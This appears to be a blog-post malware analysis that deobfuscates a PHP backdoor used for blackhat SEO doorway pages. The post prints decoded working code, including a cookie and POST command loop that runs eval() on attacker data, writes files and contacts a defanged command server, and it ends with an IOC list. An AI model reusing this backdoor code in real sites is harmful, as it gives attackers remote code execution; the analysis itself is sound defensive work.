The next 2 functions indicated that some sort of uri need either fixing or rebuilding:

public static function _b9eit(){
         $_l8rv0m91 = explode("?", $_SERVER["REQUEST_URI"], 2);
         $_l8rv0m91 = $_l8rv0m91[0];
         return sprintf("%s://%s%s", _abtwpw0::_2vjoa() ? "https" : "http", $_SERVER['HTTP_HOST'], $_l8rv0m91);
 }

 public static function _tp54w(){
         $_l8rv0m91 = explode("?", $_SERVER["REQUEST_URI"], 2);
         $_l8rv0m91 = $_l8rv0m91[0];
         $_3lantxxc = substr($_l8rv0m91, 0, strrpos($_l8rv0m91, "/"));
         return sprintf("%s://%s%s", _abtwpw0::_2vjoa() ? "https" : "http", $_SERVER['HTTP_HOST'], $_3lantxxc);
 }

Decoded, the functions look like:

public static function fixuri(){
        $URI = explode("?", $_SERVER["REQUEST_URI"], 2);
        $URI = $URI[0];
        return sprintf("%s://%s%s", webhandler::scottornot() ? "https" : "http", $_SERVER['HTTP_HOST'], $URI);
}

public static function fixuripath(){
        $URI = explode("?", $_SERVER["REQUEST_URI"], 2);
        $URI = $URI[0];
        $uripath = substr($URI, 0, strrpos($URI, "/"));
        return sprintf("%s://%s%s", webhandler::scottornot() ? "https" : "http", $_SERVER['HTTP_HOST'], $uripath);
}

As you can see, all the functions seemed to be dealing with the web, so I named the class web handler. This was actually done a bit later in the process, once I had a clear indication of what all the functions in the class did.

Going back to the start of this function, I found 3 more functions that looked familiar. These were the XOR and base64 decoding function. The third function was the double xor that I saw in part 1. For brevity, I have just included the decoded versions here.

function xor($value, $altval){
  $xordstring = "";
  for ($i = 0; $i < strlen($value);) {
    for ($j = 0; $j < strlen($altval) && $i < strlen($value); $j++, $i++) {
        $xordstring .= chr(ord($value[$i]) ^ ord($altval[$j]));
		}
  }
  return $xordstring;
}

function doublexor($value, $altval, $thirdval){
  return xor(xor($value, $altval), $thirdval);
}

static private function b64decode($message){
 if (strlen($message) < 4){
  return "";
 }
 $b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 $charArray = str_split($b64);
 $charArray = array_flip($charArray);
 $i = 0;
 $returnval = "";
 $message = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $message);
 do {
 	$h1 = $charArray[$message[$i++]];
 	$h2 = $charArray[$message[$i++]];
 	$h3 = $charArray[$message[$i++]];
 	$h4 = $charArray[$message[$i++]];
 	$o1 = ($h1 << 2) | ($h2 >> 4);
 	$o2 = (($h2 & 15) << 4) | ($h3 >> 2);
 	$o3 = (($h3 & 3) << 6) | $h4;
 	$returnval = $returnval . chr($o1);
 	if ($h3 != 64) {
 		$returnval = $returnval . chr($o2);
 	}
 	if ($h4 != 64) {
 		$returnval = $returnval . chr($o3);
 	}
	} while ($i < strlen($message));
	return $returnval;
}

Since the xor and double xor functions were nested inside a function I decided to call decoder, there was some additional code I had skipped over. When decoded, this was looking at variables:

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
	$value = @unserialize(doublexor(webhandler::b64decode($value), $key, webhandler::$uid));
	if (isset($value['ak']) && webhandler::$uid == $value['ak']) {
		if ($value['a'] == 'doorway2') {
			if ($value['sa'] == 'check') {
				$data = grabberclass::getdata(explode("/", "hxxp://httpbin.org/"), "");
				if (strlen($data) > 512) {
					echo @serialize(Array("uid" => webhandler::$uid, "v" => webhandler::$version, ));
				}
				exit;
			}
			if ($value['sa'] == 'templates') {
				foreach ($value["templates"] as $template) {
					filereader::filewriter($template);
					echo @serialize(Array("uid" => webhandler::$uid, "v" => webhandler::$version, ));
				}
			}
			if ($value['sa'] == 'keywords') {
				filehandler::filewriter($value["keywords"]);
				webhandler::sitemapgen();
				echo @serialize(Array("uid" => webhandler::$uid, "v" => webhandler::$version, ));
			}
		}
		if ($value['sa'] == 'eval') {
			eval($value["data"]);
			exit;
		}
	}
}

This code looks through the cookies and the post variables (both of which don’t show up in logs). If the right sequence is sent, the website “httpbin[.]org” is contacted, and the length of data retrieve is examined. This is probably to determine if the malware has access to the internet. While “httpbin[.]org” appears to be not involved, a connection out to this server could indicate the presence of this program.

The header for the class has several variables, which I gave simple names to:

static public $version = "4.1";
static public $uid = "e18bb5c2-b998-9250-fbe6-98f8a3caf821";
private $redirurl = "hxxp://136[.]12[.]78[.]46/module/error/api2?action=redir";
private $pageurl = "hxxp://136[.]12[.]78[.]46/module/error/api2?action=page";
static public $twenty = 20;
static public $onehundred = 100;

While there is a lot more to this code, the techniques were pretty much the same to find out what the malware looked like decoded. For brevity at this point, I’m just going to highlight some interesting things.

IOCs

Below is a list of indicators of compromise for the malware featured above:

  • hxxp://httpbin[.]org
  • 136[.]12[.]78[.]46
  • hxxp://136[.]12[.]78[.]46/module/error/api2?action=redir
  • hxxp://136[.]12[.]78[.]46/module/error/api2?action=page

These sites are not necessarily malicious, but if your webserver is calling out to them, you might want to investigate why.

Conclusions

An interesting piece of malware which generates files using the templates with keywords. Since the program sets up a sitemap, I’m not entirely sure of the end game, other than getting search engines to mark the website with “Blackhat SEO”. This could basically be an attempt to fhave the website’s reputation tainted for quite a while after, causing loss of traffic to the site for a prolonged period, or it could be to try to boost ranking of certain keywords.

Disagree with me? Have a chat on twitter with me about it. I’m happy to have a reasoned discussion.